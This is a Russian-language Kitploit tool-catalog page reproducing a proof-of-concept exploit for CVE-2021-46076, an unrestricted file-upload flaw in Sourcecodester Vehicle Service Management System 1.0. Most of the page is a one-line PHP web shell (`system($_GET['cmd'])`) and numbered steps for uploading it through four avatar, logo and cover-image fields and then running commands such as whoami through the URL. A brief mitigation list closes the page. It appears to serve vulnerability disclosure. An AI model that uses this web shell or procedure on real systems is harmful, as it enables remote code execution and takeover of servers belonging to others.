Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-46076 — CVE-2021-46076 - Sourcecodester Vehicle Service Management System 1.0 уязвим к загрузке файлов. Злоумышленник может загрузить вредоносный PHP-файл в нескольких конечных точках, что приводит к выполнению кода. | Kitploit
Инструменты/GitHubGitHub/sanupl/cve-2021-46076
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubsanupl/cve-2021-46076

CVE-2021-46076

CVE-2021-46076 - Sourcecodester Vehicle Service Management System 1.0 уязвим к загрузке файлов. Злоумышленник может загрузить вредоносный PHP-файл в нескольких конечных точках, что приводит к выполнению кода.

Репозиторий
114 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-46076

Exploit Title: Vehicle Service Management System - 'Multiple' File upload Leads to Code Execution

Exploit Author: SANU P.L

CVE: CVE-2021-46076

CVSS: 8.8 HIGH

References:

  • https://www.plsanu.com/vehicle-service-management-system-multiple-file-upload-leads-to-code-execution
  • https://nvd.nist.gov/vuln/detail/CVE-2021-46076
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46076

Description:

Sourcecodester Vehicle Service Management System 1.0 уязвим к загрузке файлов. Злоумышленник может загрузить вредоносный php-файл в нескольких конечных точках, что приводит к выполнению кода.

1. Vehicle Service Management System - 'Моя учетная запись' (/admin/?page=user)

Exploit:

  1. Войдите в панель администратора http://localhost/vehicle_service/admin
  2. Перейдите в раздел 'Моя учетная запись' http://localhost/vehicle_service/admin/?page=user

Payload:

root@kitploit:~
<?php system($_GET['cmd']);?>
  1. Сохраните приведенный выше php-код, например, под именем Cmd.php
  2. В разделе 'Моя учетная запись' введите все необходимые данные и выберите php-файл в поле 'Аватар'.
  3. Нажмите кнопку 'Обновить'.
  4. Откройте изображение аватара в новой вкладке.
  5. Добавьте параметр cmd в URL и выполните команды.
  6. Итоговый URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
  7. Выполните все команды системы, например: id, whoami, pwd и т.д.

2. Vehicle Service Management System - 'Список пользователей' (/admin/?page=user/manage_user)

Exploit:

  1. Войдите в панель администратора http://localhost/vehicle_service/admin
  2. Перейдите в раздел 'Список пользователей' и нажмите кнопку 'Создать нового'.

Payload:

root@kitploit:~
<?php system($_GET['cmd']);?>
  1. Сохраните приведенный выше php-код, например, под именем Cmd.php
  2. На странице 'Создать нового пользователя' введите все необходимые данные и выберите php-файл в поле 'Аватар'.
  3. Нажмите кнопку 'Сохранить'.
  4. Откройте изображение аватара в новой вкладке.
  5. Добавьте параметр cmd в URL и выполните команды.
  6. Итоговый URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
  7. Выполните все команды системы, например: id, whoami, pwd и т.д.

3. Vehicle Service Management System - 'Настройки - Логотип системы' (/admin/?page=system_info)

Exploit:

  1. Войдите в панель администратора http://localhost/vehicle_service/admin
  2. Перейдите в раздел 'Настройки' http://localhost/vehicle_service/admin/?page=system_info

Payload:

root@kitploit:~
<?php system($_GET['cmd']);?>
  1. Сохраните приведенный выше php-код, например, под именем Cmd.php
  2. В разделе 'Настройки' введите все необходимые данные и выберите php-файл в поле 'Логотип системы'.
  3. Нажмите кнопку 'Обновить'.
  4. Откройте изображение логотипа системы в новой вкладке.
  5. Добавьте параметр cmd в URL и выполните команды.
  6. Итоговый URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
  7. Выполните все команды системы, например: id, whoami, pwd и т.д.

4. Vehicle Service Management System - 'Настройки - Обложка сайта' (/admin/?page=system_info)

Exploit:

  1. Войдите в панель администратора http://localhost/vehicle_service/admin
  2. Перейдите в раздел 'Настройки' http://localhost/vehicle_service/admin/?page=system_info

Payload:

root@kitploit:~
<?php system($_GET['cmd']);?>
  1. Сохраните приведенный выше php-код, например, под именем Cmd.php
  2. В разделе 'Настройки' введите все необходимые данные и выберите php-файл в поле 'Обложка сайта'.
  3. Нажмите кнопку 'Обновить'.
  4. Откройте изображение обложки сайта в новой вкладке.
  5. Добавьте параметр cmd в URL и выполните команды.
  6. Итоговый URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
  7. Выполните все команды системы, например: id, whoami, pwd и т.д.

Impact:

Злоумышленник может загрузить вредоносный php-файл в нескольких конечных точках, что приводит к выполнению кода.

Mitigation:

Рекомендуется реализовать следующее:

  • Никогда не принимайте имя файла и его расширение напрямую без использования белого списка фильтров.
  • Если нет необходимости в использовании символов Unicode, настоятельно рекомендуется принимать только буквенно-цифровые символы и только одну точку в качестве ввода для имени файла и расширения.
  • Ограничьте размер файла максимальным значением, чтобы предотвратить атаки типа «отказ в обслуживании».
  • Загруженная директория не должна иметь права на выполнение.
  • Не полагайтесь только на проверку на стороне клиента.
Скачать инструмент